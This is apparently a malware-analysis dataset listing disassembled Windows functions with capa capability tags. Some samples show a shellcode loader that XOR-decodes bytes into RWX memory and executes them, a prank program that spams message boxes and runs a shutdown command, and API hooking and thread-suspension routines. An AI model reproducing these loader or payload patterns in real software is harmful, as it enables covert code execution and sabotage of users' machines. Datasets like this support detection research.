joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14012b3d0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [0x140182020]
mov rdi, rax
test rax, rax
jne 0x14012b412
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x14012b459
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x14012b4b2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x14012b470
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x14012b4f3
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14015a0c2]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14015a0c3]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x14012b4c0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x14012c50c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14012c556
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14012c556
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14012c556
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14012c556
cmp dword [rcx + 0x84], 0xe
jbe 0x14012c556
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14012c558
xor al, al
add rsp, 0x28
ret
Function at 0x1400111f9
Capabilities:
Terminate process

Disassembly:
jmp 0x140013040
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001127b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x1400117e0
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x140024001]
call fcn.14001137f
mov byte [rbp + 4], 0x4b
mov dword [rbp + 0x24], 0
jmp 0x140011810
mov eax, dword [rbp + 0x24]
inc eax
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0x1cd
jae 0x140011841
movsxd rax, dword [rbp + 0x24]
lea rcx, section..data
movzx eax, byte [rcx + rax]
movsx ecx, byte [rbp + 4]
xor eax, ecx
movsxd rcx, dword [rbp + 0x24]
lea rdx, section..data
mov byte [rdx + rcx], al
jmp 0x140011808
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1ce
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x48], rax
mov r8d, 0x1ce
lea rdx, section..data
mov rcx, qword [rbp + 0x48]
call fcn.1400111b8
call qword [rbp + 0x48]
xor eax, eax
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x140011285
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014390
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400143b0
xor al, al
jmp 0x140014431
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400143c3
xor al, al
jmp 0x140014431
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400143ed
xor al, al
jmp 0x140014431
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014401
xor al, al
jmp 0x140014431
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014413
xor al, al
jmp 0x140014431
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001442f
xor al, al
jmp 0x140014431
mov al, 1
add rsp, 0x38
ret
Function at 0x140011262
Capabilities:
Terminate process

Disassembly:
jmp 0x140014290
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x1400112f3
Capabilities:
Execute command

Disassembly:
jmp 0x140017120
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1400250f4]
call fcn.14001141a
nop
lea rdx, str.Welcome__Press_P_To_Open_Loader_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
nop
xor ecx, ecx
call fcn.1400129f0
nop
lea rdx, str.You_pressed:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
movzx edx, byte [0x14001f1c0]
mov rcx, rax
call fcn.140011348
lea rdx, [0x14001bd44]
mov rcx, rax
call fcn.140011087
nop
movsx eax, byte [0x14001f1c0]
cmp eax, 0x62
jne 0x1400171af
lea rdx, str.You_pressed_the_best_key__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
nop
jmp 0x140017235
lea rdx, str.Your_brainrot__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
nop
mov r9d, 0x4030
lea r8, str.ur_done_bud_loool
lea rdx, str.shouldve_pressed_the_right_key__no_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov dword [rbp + 4], eax
mov dword [0x14001f1c4], 1
cmp dword [0x14001f1c4], 0xff
jge 0x140017235
mov eax, dword [0x14001f1c4]
inc eax
mov dword [0x14001f1c4], eax
mov r9d, 0x4030
lea r8, str.ur_done_bud_loool
lea rdx, str.shouldve_pressed_the_right_key__no_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov dword [rbp + 0x24], eax
lea rcx, str.shutdown__s
call qword [sym.imp.ucrtbased.dll_system]
nop
jmp 0x1400171e2
lea rcx, str.pause
call qword [sym.imp.ucrtbased.dll_system]
nop
xor eax, eax
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1400112fd
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400155e0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015600
xor al, al
jmp 0x140015681
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015613
xor al, al
jmp 0x140015681
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001563d
xor al, al
jmp 0x140015681
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015651
xor al, al
jmp 0x140015681
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015663
xor al, al
jmp 0x140015681
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001567f
xor al, al
jmp 0x140015681
mov al, 1
add rsp, 0x38
ret
Function at 0x140013330
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011442
movzx eax, al
test eax, eax
jne 0x140013350
mov ecx, 7
call fcn.1400113ac
nop
mov byte [rsp + 0x20], 0
call fcn.1400113c0
mov byte [rsp + 0x21], al
cmp dword [0x14001f868], 1
jne 0x140013374
mov ecx, 7
call fcn.1400113ac
nop
jmp 0x1400133cc
cmp dword [0x14001f868], 0
jne 0x1400133c7
mov dword [0x14001f868], 1
lea rdx, [0x14001b660]
lea rcx, [0x14001b330]
call fcn.140011208
test eax, eax
je 0x1400133a8
mov eax, 0xff
jmp 0x1400134d1
lea rdx, [0x14001b220]
lea rcx, [section..rdata]
call fcn.1400113b6
mov dword [0x14001f868], 2
jmp 0x1400133cc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011398
call fcn.140011320
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140013429
mov rcx, qword [rsp + 0x30]
call fcn.1400111ae
movzx eax, al
test eax, eax
je 0x140013429
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140026020]
nop
call fcn.14001135c
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001345d
mov rcx, qword [rsp + 0x38]
call fcn.1400111ae
movzx eax, al
test eax, eax
je 0x14001345d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011401
nop
call fcn.140013580
mov dword [rsp + 0x28], eax
call fcn.1400112fd
movzx eax, al
test eax, eax
jne 0x14001347c
mov ecx, dword [rsp + 0x28]
call fcn.140011064
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001348b
call fcn.14001140b
nop
xor edx, edx
mov cl, 1
call fcn.14001119a
mov eax, dword [rsp + 0x28]
jmp 0x1400134d1
add rsp, 0x68
ret
Function at 0x180003700
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x26
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x198]
mov rax, qword [0x18021f4c0]
xor rax, rbp
mov qword [rbp + 0x148], rax
lea rcx, [0x1802380a6]
call fcn.180141d70
nop
mov rax, qword [rbp + 0x178]
sub rax, 0x10000
mov rcx, rax
call fcn.1800039e0
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x170]
cmp qword [rbp + 8], rax
jbe 0x18000383a
mov rax, qword [section..data]
cmp qword [rbp + 8], rax
jb 0x1800037a3
mov rax, qword [0x1801b1008]
cmp qword [rbp + 8], rax
ja 0x1800037a3
mov rax, qword [rbp + 8]
sub rax, 0x8000000
mov qword [rbp + 8], rax
jmp 0x180003768
mov r8d, 0x30
xor edx, edx
lea rcx, [rbp + 0x28]
call sub.VCRUNTIME140D.dll_memset
nop
mov r8d, 0x30
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x1800037d0
jmp 0x18000383a
cmp dword [rbp + 0x48], 0x10000
jne 0x18000381f
cmp qword [rbp + 0x40], 0x10000
jb 0x18000381f
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x78], rax
cmp qword [rbp + 0x78], 0
je 0x18000380f
mov rax, qword [rbp + 0x78]
jmp 0x18000383c
mov rax, qword [rbp + 8]
sub rax, 0x10000
mov qword [rbp + 8], rax
jmp 0x180003835
mov rax, qword [rbp + 0x30]
sub rax, 0x10000
mov rcx, rax
call fcn.1800039e0
mov qword [rbp + 8], rax
jmp 0x180003768
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x18014d420]
call fcn.180141b40
mov rax, rdi
mov rcx, qword [rbp + 0x148]
xor rcx, rbp
call fcn.180141fc0
lea rsp, [rbp + 0x158]
pop rdi
pop rbp
ret
Function at 0x180003870
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x26
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x198]
mov rax, qword [0x18021f4c0]
xor rax, rbp
mov qword [rbp + 0x148], rax
lea rcx, [0x1802380a6]
call fcn.180141d70
nop
mov rcx, qword [rbp + 0x170]
call fcn.180003a50
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x178]
cmp qword [rbp + 8], rax
jae 0x1800039a5
mov rax, qword [section..data]
cmp qword [rbp + 8], rax
jb 0x18000390a
mov rax, qword [0x1801b1008]
cmp qword [rbp + 8], rax
ja 0x18000390a
mov rax, qword [rbp + 8]
add rax, 0x8000000
mov qword [rbp + 8], rax
jmp 0x1800038cf
mov r8d, 0x30
xor edx, edx
lea rcx, [rbp + 0x28]
call sub.VCRUNTIME140D.dll_memset
nop
mov r8d, 0x30
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x180003937
jmp 0x1800039a5
cmp dword [rbp + 0x48], 0x10000
jne 0x180003986
cmp qword [rbp + 0x40], 0x10000
jb 0x180003986
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x78], rax
cmp qword [rbp + 0x78], 0
je 0x180003976
mov rax, qword [rbp + 0x78]
jmp 0x1800039a7
mov rax, qword [rbp + 8]
add rax, 0x10000
mov qword [rbp + 8], rax
jmp 0x1800039a0
mov rax, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.180003a50
mov qword [rbp + 8], rax
jmp 0x1800038cf
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x18014d3c0]
call fcn.180141b40
mov rax, rdi
mov rcx, qword [rbp + 0x148]
xor rcx, rbp
call fcn.180141fc0
lea rsp, [rbp + 0x158]
pop rdi
pop rbp
ret
Function at 0x180004ce0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1b8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x36
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [0x18021f4c0]
xor rax, rbp
mov qword [rbp + 0x188], rax
lea rcx, [0x1802380a6]
call fcn.180141d70
nop
mov r8d, 0x30
lea rdx, [rbp + 8]
mov rcx, qword [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
nop
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180004d64
xor al, al
jmp 0x180004dfb
mov rax, qword [rbp + 0x58]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x78]
cmp dword [rax], 0x4550
je 0x180004d8a
xor al, al
jmp 0x180004dfb
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rbp + 0x78]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rbp + 0x58]
add rcx, rax
mov rax, rcx
cmp qword [rbp + 0x1b8], rax
jb 0x180004df3
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rbp + 0x78]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rbp + 0x58]
add rcx, rax
mov rax, rcx
mov ecx, 8
imul rcx, rcx, 0xc
mov rdx, qword [rbp + 0x78]
mov ecx, dword [rdx + rcx + 0x8c]
add rax, rcx
cmp qword [rbp + 0x1b8], rax
jae 0x180004df3
mov al, 1
jmp 0x180004dfb
jmp 0x180004df9
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x18014d2a0]
call fcn.180141b40
mov rax, rdi
mov rcx, qword [rbp + 0x188]
xor rcx, rbp
call fcn.180141fc0
lea rsp, [rbp + 0x198]
pop rdi
pop rbp
ret

Function at 0x180004e30
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rcx, [0x1802380a6]
call fcn.180141d70
nop
mov rax, qword [rbp + 0x160]
cmp dword [rax], 0x52727464
je 0x180004e66
xor eax, eax
jmp 0x180004ef5
mov rax, qword [rbp + 0x160]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
add rax, 0x10000
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x160]
add rax, 0x60
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x64], 0
jmp 0x180004e9f
mov eax, dword [rbp + 0x64]
inc eax
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0x2a9
jae 0x180004ef0
movsxd rax, dword [rbp + 0x64]
imul rax, rax, 0x60
mov rcx, qword [rbp + 0x48]
cmp qword [rcx + rax + 0x48], 0
je 0x180004eee
movsxd rax, dword [rbp + 0x64]
imul rax, rax, 0x60
mov rcx, qword [rbp + 0x48]
mov rdx, qword [rbp + 8]
cmp qword [rcx + rax + 0x48], rdx
jb 0x180004eea
movsxd rax, dword [rbp + 0x64]
imul rax, rax, 0x60
mov rcx, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x28]
cmp qword [rcx + rax + 0x48], rdx
jb 0x180004eee
xor eax, eax
jmp 0x180004ef5
jmp 0x180004e97
mov eax, 1
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x1800051e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, send
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x18021f4c0]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x1802380a6]
call fcn.180141d70
nop
mov rax, qword [0x18021f860]
mov qword [rbp + 8], rax
jmp 0x180005237
mov rax, qword [rbp + 8]
mov rax, qword [rax + 8]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x180005265
lea r9, [rbp + 0x24]
mov r8d, 0x40
mov edx, 0x10000
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180005263
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180005267
jmp 0x18000522b
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x18014d300]
call fcn.180141b40
mov rax, rdi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.180141fc0
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x180005f20
Capabilities:
Resume thread

Disassembly:
push rbp
push rdi
sub rsp, 0x1d8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x3e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x18021f4c0]
xor rax, rbp
mov qword [rbp + 0x1a0], rax
lea rcx, [0x1802380a6]
call fcn.180141d70
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x18021f878], eax
je 0x180005f76
mov eax, 0x10dd
jmp 0x1800060ec
mov rax, qword [0x18021f890]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x180006042
mov rax, qword [rbp + 8]
mov rax, qword [rax + 0x20]
movzx eax, byte [rax + 0x3e]
lea r9, [rbp + 0x24]
mov rcx, qword [rbp + 8]
mov r8d, dword [rcx + 0x28]
mov edx, eax
mov rax, qword [rbp + 8]
mov rcx, qword [rax + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
mov rax, qword [rbp + 8]
cmp dword [rax + 8], 0
jne 0x180005fe4
mov rax, qword [rbp + 8]
cmp qword [rax + 0x20], 0
je 0x180005fe4
mov rax, qword [rbp + 8]
mov rcx, qword [rax + 0x20]
call fcn.1800042a0
nop
mov rax, qword [rbp + 8]
mov qword [rax + 0x20], 0
mov rax, qword [rbp + 8]
mov rax, qword [rax]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x168], rax
mov edx, 0x30
mov rcx, qword [rbp + 0x168]
call fcn.180141ae0
cmp qword [rbp + 0x168], 0
jne 0x180006022
mov qword [rbp + 0x198], 0
jmp 0x180006035
mov qword [rbp + 8], 0x8123
mov rax, qword [rbp + 8]
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x48]
mov qword [rbp + 8], rax
jmp 0x180005f81
mov qword [0x18021f890], 0
call fcn.180004f00
nop
mov rax, qword [0x18021f888]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
je 0x1800060d5
mov rax, qword [rbp + 0x68]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0x188], rax
mov edx, reloc.WS2_32.dll_recv
mov rcx, qword [rbp + 0x188]
call fcn.180141ae0
cmp qword [rbp + 0x188], 0
jne 0x1800060b5
mov qword [rbp + 0x198], 0
jmp 0x1800060c8
mov qword [rbp + 0x68], 0x8123
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x68], rax
jmp 0x18000605e
mov qword [0x18021f888], 0
mov dword [0x18021f878], 0
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x18014cf50]
call fcn.180141b40
mov rax, rdi
mov rcx, qword [rbp + 0x1a0]
xor rcx, rbp
call fcn.180141fc0
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret
Function at 0x180006700
Capabilities:
Suspend thread

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rcx, [0x1802380a6]
call fcn.180141d70
nop
cmp dword [0x18021f87c], 0
je 0x180006734
mov eax, dword [0x18021f87c]
jmp 0x18000682c
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp qword [rbp + 0x160], rax
jne 0x18000674a
xor eax, eax
jmp 0x18000682c
mov ecx, reloc.WS2_32.dll_recv
call fcn.180141a80
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1800067e2
mov dword [rbp + 4], 8
cmp qword [rbp + 0x28], 0
je 0x1800067c9
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x128], rax
mov edx, reloc.WS2_32.dll_recv
mov rcx, qword [rbp + 0x128]
call fcn.180141ae0
cmp qword [rbp + 0x128], 0
jne 0x1800067ae
mov qword [rbp + 0x138], 0
jmp 0x1800067c1
mov qword [rbp + 0x28], 0x8123
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x28], 0
mov eax, dword [rbp + 4]
mov dword [0x18021f87c], eax
mov qword [0x18021f880], 0
mov eax, dword [rbp + 4]
jmp 0x18000682c
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x180006802
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 4], eax
jmp 0x180006774
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x160]
mov qword [rax + 8], rcx
mov rax, qword [rbp + 0x28]
mov rcx, qword [0x18021f888]
mov qword [rax], rcx
mov rax, qword [rbp + 0x28]
mov qword [0x18021f888], rax
xor eax, eax
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x180009bf0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, socket
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [0x18021f4c0]
xor rax, rbp
mov qword [rbp + 0x100], rax
lea rcx, [0x1802381e2]
call fcn.180141d70
nop
mov edx, 8
lea rcx, [rbp + 8]
call fcn.18000e440
mov rdx, qword [rbp + 0x138]
lea rcx, [rbp + 8]
call fcn.18000ad20
nop
lea rax, [0x180009640]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x130]
add rax, 8
mov qword [rbp + 0xf8], rax
lea rcx, [rbp + 8]
call fcn.180010f90
mov rcx, qword [rbp + 0xf8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__beginthreadex]
mov rcx, qword [rbp + 0x130]
mov qword [rcx], rax
mov rax, qword [rbp + 0x130]
cmp qword [rax], 0
je 0x180009ccc
lea rcx, [rbp + 8]
call fcn.1800121b0
nop
jmp 0x180009ce5
mov rax, qword [rbp + 0x130]
mov dword [rax + 8], 0
mov ecx, 6
call sub.MSVCP140D.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
lea rcx, [rbp + 8]
call fcn.18000bd90
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x18014e210]
call fcn.180141b40
mov rcx, qword [rbp + 0x100]
xor rcx, rbp
call fcn.180141fc0
lea rsp, [rbp + 0x118]
pop rdi
pop rbp
ret
Function at 0x180009d20
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, socket
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [0x18021f4c0]
xor rax, rbp
mov qword [rbp + 0x100], rax
lea rcx, [0x1802381e2]
call fcn.180141d70
nop
mov edx, 8
lea rcx, [rbp + 8]
call fcn.18000e400
mov rdx, qword [rbp + 0x138]
lea rcx, [rbp + 8]
call fcn.18000ac70
nop
lea rax, [0x180009560]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x130]
add rax, 8
mov qword [rbp + 0xf8], rax
lea rcx, [rbp + 8]
call fcn.180010f50
mov rcx, qword [rbp + 0xf8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__beginthreadex]
mov rcx, qword [rbp + 0x130]
mov qword [rcx], rax
mov rax, qword [rbp + 0x130]
cmp qword [rax], 0
je 0x180009dfc
lea rcx, [rbp + 8]
call fcn.180012160
nop
jmp 0x180009e15
mov rax, qword [rbp + 0x130]
mov dword [rax + 8], 0
mov ecx, 6
call sub.MSVCP140D.dll_void___cdecl_std::_Throw_Cpp_error_int_
